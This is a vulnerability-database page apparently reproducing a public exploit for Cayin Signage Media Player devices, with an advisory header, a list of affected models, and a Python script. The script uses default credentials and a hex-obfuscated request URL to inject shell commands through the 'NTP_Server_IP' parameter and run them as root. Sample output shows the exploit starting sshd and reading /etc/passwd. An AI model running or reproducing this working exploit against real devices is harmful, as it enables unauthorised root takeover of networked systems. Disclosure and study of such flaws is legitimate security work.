Cayin Signage Media Player 3.0 Remote Command Injection (root)

2020.06.12

Credit: **LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/)**

Risk: **High** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **CWE-78 (https://cxsecurity.com/cwe/CWE-78)**

```
# Title: Cayin Signage Media Player 3.0 - Remote Command Injection
(root)
# Author:LiquidWorm
# Date: 2020-06-04
# Vendor: https://www.cayintech.com
# CVE:  N/A

#!/usr/bin/env python3
#
#
# Cayin Signage Media Player 3.0 Root Remote Command Injection
#
#
# Vendor: CAYIN Technology Co., Ltd.
# Product web page: https://www.cayintech.com
# Affected version: SMP-8000QD v3.0
#                   SMP-8000 v3.0
#                   SMP-6000 v3.0 Build 19025
#                   SMP-6000 v1.0 Build 14246
#                   SMP-6000 v1.0 Build 14199
#                   SMP-6000 v1.0 Build 14167
#                   SMP-6000 v1.0 Build 14097
#                   SMP-6000 v1.0 Build 14090
```

```
#                    SMP-6000 v1.0 Build 14069
#                    SMP-6000 v1.0 Build 14062
#                    SMP-4000 v1.0 Build 14098
#                    SMP-4000 v1.0 Build 14092
#                    SMP-4000 v1.0 Build 14087
#                    SMP-2310 v3.0
#                    SMP-2300 v3.0 Build 19316
#                    SMP-2210 v3.0 Build 19025
#                    SMP-2200 v3.0 Build 19029
#                    SMP-2200 v3.0 Build 19025
#                    SMP-2100 v10.0 Build 16228
#                    SMP-2100 v3.0
#                    SMP-2000 v1.0 Build 14167
#                    SMP-2000 v1.0 Build 14087
#                    SMP-1000 v1.0 Build 14099
#                    SMP-PROPLUS v1.5 Build 10081
#                    SMP-WEBPLUS v6.5 Build 11126
#                    SMP-WEB4 v2.0 Build 13073
#                    SMP-WEB4 v2.0 Build 11175
#                    SMP-WEB4 v1.5 Build 11476
#                    SMP-WEB4 v1.5 Build 11126
#                    SMP-WEB4 v1.0 Build 10301
#                    SMP-300 v1.0 Build 14177
#                    SMP-200 v1.0 Build 13080
#                    SMP-200 v1.0 Build 12331
#                    SMP-PRO4 v1.0
#                    SMP-NEO2 v1.0
#                    SMP-NEO v1.0
#
# Summary: CAYIN Technology provides Digital Signage
# solutions, including media players, servers, and
# software designed for the DOOH (Digital Out-of-home)
# networks. We develop industrial-grade digital signage
# appliances and tailored services so you don't have
# to do the hard work.
#
# Desc: CAYIN SMP-xxxx suffers from an authenticated
# OS command injection vulnerability using default
# credentials. This can be exploited to inject and
# execute arbitrary shell commands as the root user
```

```
# through the 'NTP_Server_IP' HTTP GET parameter in
# system.cgi and wizard_system.cgi pages.
#
# ------------------------------------------------
# $ ./cayin.py 192.168.1.2 id
# uid=0(root) gid=65534(guest)
# # start sshd
# $ ./cayin.py 192.168.1.2 /mnt/libs/sshd/sbin/sshd
# $
# $ ./cayin.py 192.168.1.2 "netstat -ant|grep ':22'"
# tcp        0      0 0.0.0.0:22                  0.0.0.0:*
LISTEN
# tcp        0      0 :::22                       :::*
LISTEN
# $ ./cayin.py 192.168.1.2 "cat /etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
# smbuser:x:500:0:SMB adiministrator:/opt/media:/sbin/nologin
# sshd:x:1000:0::/dev/null:/sbin/nologin
# $
# ------------------------------------------------
#
# Tested on: CAYIN Technology KT-Linux v0.99
#            Apache/1.3.42 (Unix)
#            Apache/1.3.41 (Unix)
#            PHP/5.2.5
#            Linux 2.6.37
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                              @zeroscience
#
#
# Advisory ID: ZSL-2020-5569
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-
2020-5569.php
#
#
# 15.05.2020
#
```

```
import requests
import sys#____
import re#_____

if len(sys.argv) < 3:
        print("Cayin SMP WebManager Post-Auth RCE")
    print("Usage: ./cayin.py [ip] [cmd]")
    sys.exit(17)
else:
    ip____address = sys.argv[1]
    ex____command = sys.argv[2]

ur____identif  = b"\x68\x74\x74\x70\x3a\x2f\x2f"
ur____identif += (bytes(ip____address, "utf-8"))
ur____identif += b"\x2f\x63\x67\x69\x2d\x62\x69"
ur____identif += b"\x6e\x2f\x77\x69\x7a\x61\x72"
ur____identif += b"\x64\x5f\x73\x79\x73\x74\x65"
ur____identif += b"\x6d\x2e\x63\x67\x69\x3f\x54"
ur____identif += b"\x45\x53\x54\x5f\x4e\x54\x50"
ur____identif += b"\x3d\x31\x26\x4e\x54\x50\x5f"
ur____identif += b"\x53\x65\x72\x76\x65\x72\x5f"
ur____identif += b"\x49\x50\x3d\x70\x6f\x6f\x6c"
ur____identif += b"\x2e\x6e\x74\x70\x2e\x6f\x72"
ur____identif += b"\x67\x25\x32\x36" ##########"
ur____identif += (bytes(ex____command, "utf-8"))
ur____identif += b"\x25\x32\x36" ##############"

ht____request = requests.get(ur____identif, auth = ("webadmin", "a
dmin"))
re____outputs = re.search("</html>\n(.*)", ht____request.text, fla
gs = re.S).group().strip("</html>\n")
print(re____outputs)
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020060049)

Post

Vote for this issue: 1 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)